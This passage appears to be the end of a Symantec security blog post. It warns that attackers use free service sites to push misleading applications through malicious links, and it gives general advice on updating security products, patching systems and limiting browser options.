Social engineering attacks that involve victims who are tricked into clicking on malicious links are not new; however, now the attackers have started using free service sites as a new attack vector to push their misleading applications. Symantec has built excellent safe browsing features in its 2008 solutions and continues to enhance protection technologies in its upcoming 2009 product offerings. Symantec continues to detect misleading applications, including those mentioned above. We recommend that you keep your computer and Internet security products and definitions up-to-date, patch your systems, and run your Web browser with limited options enabled.
